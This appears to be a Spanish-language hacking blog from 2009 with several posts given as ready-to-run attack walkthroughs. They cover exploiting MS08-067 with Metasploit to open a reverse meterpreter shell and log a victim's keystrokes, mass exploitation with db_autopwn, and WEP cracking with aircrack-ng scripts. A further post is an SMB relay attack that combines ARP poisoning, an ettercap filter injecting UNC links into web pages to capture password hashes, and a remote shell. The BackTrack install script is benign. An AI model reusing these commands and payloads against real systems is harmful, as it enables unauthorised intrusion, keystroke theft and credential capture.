lunes, 30 de marzo de 2009

Keylogger a traves de meterpreter con metasploit.

Leyendo el blog de metasploit veo un interesante post que relata como hacer funcionar un keylogger en una sesion de meterpreter en dos patadas.

1.- Arrancamos el meta.

./msfconsole

2.- Cargamos el exploit.

use exploit/windows/smb/ms08_067_netapi

3.- Cargamos el payload.

set PAYLOAD windows/meterpreter/reverse_tcp

4.- Elegimos la victima.

set RHOST 192.168.1.3

5.- Nos declaramos culpables ;)

set LHOST 192.168.1.2

6.- Explotamos.

exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 3 - lang:Spanish
[*] Selected Target: Windows XP SP3 Spanish (NX)
[*] Triggering the vulnerability...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.1.2:4444 -> 192.168.1.3:1025)

7.- Una vez iniciada la sesion, vemos los procesos.

ps

Process list
============

PID Name Path
--- ---- ----
176 wuauclt.exe C:\WINDOWS\system32\wuauclt.exe
192 svchost.exe C:\WINDOWS\System32\svchost.exe
476 smss.exe \SystemRoot\System32\smss.exe
548 csrss.exe \??\C:\WINDOWS\system32\csrss.exe
572 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe
616 services.exe C:\WINDOWS\system32\services.exe
620 ctfmon.exe C:\WINDOWS\system32\ctfmon.exe
628 lsass.exe C:\WINDOWS\system32\lsass.exe
732 Explorer.EXE C:\WINDOWS\Explorer.EXE
780 svchost.exe C:\WINDOWS\system32\svchost.exe
1196 svchost.exe C:\WINDOWS\system32\svchost.exe
1232 svchost.exe C:\WINDOWS\System32\svchost.exe
1292 userinit.exe C:\WINDOWS\system32\userinit.exe
1348 svchost.exe C:\WINDOWS\system32\svchost.exe
1380 igfxpers.exe C:\WINDOWS\system32\igfxpers.exe
1496 SynTPStart.exe C:\Archivos de programa\Synaptics\SynTP\SynTPStart.exe
1504 igfxtray.exe C:\WINDOWS\system32\igfxtray.exe
1512 hkcmd.exe C:\WINDOWS\system32\hkcmd.exe
1564 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe
1616 RTHDCPL.EXE C:\WINDOWS\RTHDCPL.EXE
1688 svchost.exe C:\WINDOWS\system32\svchost.exe
1724 svchost.exe C:\WINDOWS\system32\svchost.exe
1876 Wlan.exe C:\Archivos de programa\WLAN\USB_WLAN_Utilidad\Wlan.exe
1932 SynTPEnh.exe C:\Archivos de programa\Synaptics\SynTP\SynTPEnh.exe
1984 WMIADAP.EXE \\?\C:\WINDOWS\system32\WBEM\WMIADAP.EXE
2032 wmiprvse.exe C:\WINDOWS\system32\wbem\wmiprvse.exe

8.- Buscamos el proceso "Explorer.exe", que es el 732 y nos apropiamos de el.

migrate 732

9.- Una vez migrado, ejecutamos keyscan_start y a esperar.

10.- Ejecutamos keyscan_dump y nos volcara en pantalla lo que se haya tecleando en la victima.

Dumping captured keystrokes...
estoy escribiendo esto en el wordpad aupa

Por cierto, leo en un post posterior (valga la redundancia) que tambien nos podemos apropiar del proceso winlogon.exe :* que cada cual saque sus concluiones.

Script instalacion Backtrack 3 en disco duro.

Lo primero partir el disco en tres, por ejemplo:

sda1=/boot
sda2=swap
sda3= /

Una vez hechas las particiones, nos aseguramos de que esten desmontadas y ejecutamos:

#!/bin/bash

#ACTIVAR LA SWAP

mkswap /dev/sda2
swapon /dev/sda2


#COPIAR AL DISCO DURO

mkdir /mnt/backtrack
mount /dev/sda3 /mnt/backtrack/
mkdir /mnt/backtrack/boot/
mount /dev/sda1 /mnt/backtrack/boot/
bt~#cp --preserve -R /{bin,dev,home,pentest,root,usr,etc,lib,opt,sbin,var} /mnt/backtrack/
mkdir /mnt/backtrack/{mnt,proc,sys,tmp}
bt~#mount --bind /dev/ /mnt/backtrack/dev/
bt~#mount -t proc proc /mnt/backtrack/proc/
bt~#cp /boot/vmlinuz /mnt/backtrack/boot/

Y luego configuramos lilo:

chroot /mnt/backtrack/ /bin/bash
nano /etc/lilo.conf

Dejamos esta configuracion:

lba32
boot=/dev/sda
prompt
timeout=60
change-rules
reset
vga=791
image = /boot/vmlinuz
root = /dev/sda3
label = backtrack3_final

Guardamos, salimos y ejecutamos:

lilo -v

...Y listo.

Fuente original:

http://forums.remote-exploit.org/showthread.php?t=14751&page=16

domingo, 29 de marzo de 2009

Script de instalacion de metasploit con autopwn.

Este es el script:

apt-get install -y ruby libruby rdoc
apt-get install -y libyaml-ruby
apt-get install -y libzlib-ruby
apt-get install -y libopenssl-ruby
apt-get install -y libdl-ruby
apt-get install -y libreadline-ruby
apt-get install -y libiconv-ruby
apt-get install -y rubygems
apt-get install -y ruby1.8-dev
apt-get install -y libpq-dev
apt-get install -y subversion

apt-get install -y postgresql postgresql-client postgresql-contrib
apt-get install -y pgadmin3

sudo su postgres -c psql
ALTER USER postgres WITH PASSWORD 'xxx';

sudo passwd -d postgres
sudo su postgres -c passwd

sudo gem1.8 install activerecord
sudo gem1.8 install postgres

cd ~/
mkdir bin
cd bin
svn co http://metasploit.com/svn/framework3/trunk/ metasploit
cd metasploit
svn up

El password para el usuario postgres hay que ponerlo en el valor "xxx"
Por defecto instala metasploit en /root/bin/
Una vez instalado, su postgres, password el que se haya elegido y arrancamos msfconsole.
Dentro de la consola:

load db_postgres
db_create test
db_hosts
db_nmap xxx.xxx.xxx.xxx -p xxx
db_autopwn -t -p -e -s -b

El nmap lo dirigimos a la ip que queramos, si queremos un rango "-PN xxx.xxx.xxx.xxx/xx", siendo xx la mascara, y "-p xxx" los puertos que queramos analizar, p.e: 1-445

Una vez acabado:

Sessions -l: Nos dice las sesiones abiertas (en caso de).
Sessions -l -v: Nos dice ademas el tipo de exploit que funciono.
Sessions -i x:Siendo x en numero de sesion, nos abre la shell.

Scripts basicos-basicos de la suite aircrack.

Ayer, hasta la polla de picar caracteres peleandome con unas wifis, escribi estos tres scripts neandertales. Seria interesante, si el tiempo lo permite, evolucionarlo un poco...

1.- Colocar la tarjeta en modo promiscuo...

airmon-ng start wlan0

2.- wifi1...

#!/bin/bash
airodump-ng mon0
echo 'Canal?'
read A
echo 'Bssid?'
read B
echo 'Fichero?'
read W
airodump-ng -c $A --bssid $B -w $W mon0


3.- wifi2

#!/bin/bash
echo 'Nombre?'
read N
echo 'Bssid?'
read B
aireplay-ng --fakeauth 6000 -o 1 -q 10 -e $N -a $B mon0

4.- wifi3

#!/bin/bash
echo 'Bssid?'
read B
aireplay-ng -3 -b $B mon0 -x 250


Ideas generales de desarrollo:

1.- Crear un pantallazo inicial para hacer airmon o ir directamente al airodump, o mejor, que detecte mon0 y lo cree si no existe...
2.- Que vaya abriendo nuevas terminales con los tres procesos.
3.- Que una vez se hayan alcanzado las 40000 iv's se abra otra terminal con el aircrack.

Quizas hubiera tardado menos en rectificar los scripts que en escribir esta entrada...

Smb_relay con ettercap.

Se utilizara un filtro para ettercap cuyo codigo es el siguiente:


if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
msg("zapped Accept-Encoding!\n");
}
}


#####################
# Internet Explorer #
#####################

if (ip.proto == TCP && tcp.src == 80) {
replace("</body>", "<img src=\"\\\\xxx.xxx.xxx.xxx\\image.jpg\"></body>");
replace("</Body>", "<IMG SRC=\"\\\\xxx.xxx.xxx.xxx\\image.jpg\"></body>");
msg("Filter Ran.\n");
}

############################
# Firefox prior to 2.0.0.4 #
############################

if (ip.proto == TCP && tcp.src == 80) {
replace("</body>", "<img src=\"moz-icon:file:////xxx.xxx.xxx.xxx/share/hello.jpg\"></body>");
replace("</Body>", "<img src=\"moz-icon:file:////xxx.xxx.xxx.xxx/share/hello.jpg\"></body>");
msg("Filter Ran.\n");
}

###################
# Firefox 2.0.0.4 #
###################

if (ip.proto == TCP && tcp.src == 80) {
replace("</body>", "<img src=\"moz-icon:file:///%5c/xxx.xxx.xxx.xxx/share/hello.jpg\"></body>");
replace("</Body>", "<img src=\"moz-icon:file:///%5c/xxx.xxx.xxx.xxx/share/hello.jpg\"></body>");
msg("Filter Ran.\n");
}



La ip que hay que poner en los campos "xxx.xxx.xxx.xxx" es la nuestra. Se puede coger solamente el codigo correspondiente al explorador que vayamos a atacar o meterlos todos a saco.

Una vez editado el filtro (hay quien dice que hay que editarlo con el nano pues si no, no funciona, yo personalmente lo he editado con nano, vi, gedit y kwrite y no me ha dado error...) ejecutarmos la siguiente orden:

etterfilter smb.filter -o smb.ef

Abrimos una nueva consola y arrancamos metasploit. Cuando estemos en la consola del metasploit seleccionamos es exploit "windows/smb/smb_relay" y luego el payload que mas radia nos de (yo personalmente suelo usar un meterpreter (god save the dumphash)) y modificamos el smbhost con la ip que queramos atacar y el lhost con nuestra ip. Una vez puesto todo en orden, exploit, y nos vamos a la otra consola.

En la otra consola, donde estabamos liados con el smb.ef, ejecutamos:

ettercap -T -q -F smb.ef -M ARP /xxx.xxx.xxx.xxx/ // -P autoadd -i ethx

Teniendo en cuenta poner en el campo "xxx.xxx.xxx.xxx" la ip del host a atacar, y sustituyendo "ethx" por nuestro interfaz (eth0, eth1, wlan0, etc...).

Cuando todo este en marcha, si el host remoto se conecta a un recurso compartido vermos el hash en pantalla (luego cada uno que haga con esto lo que quiera) y en el metasploit si cruzamos los dedos, nos ponemos un calcetin en la oreja y todo va bien, tendremos una bonita shell remota abierta...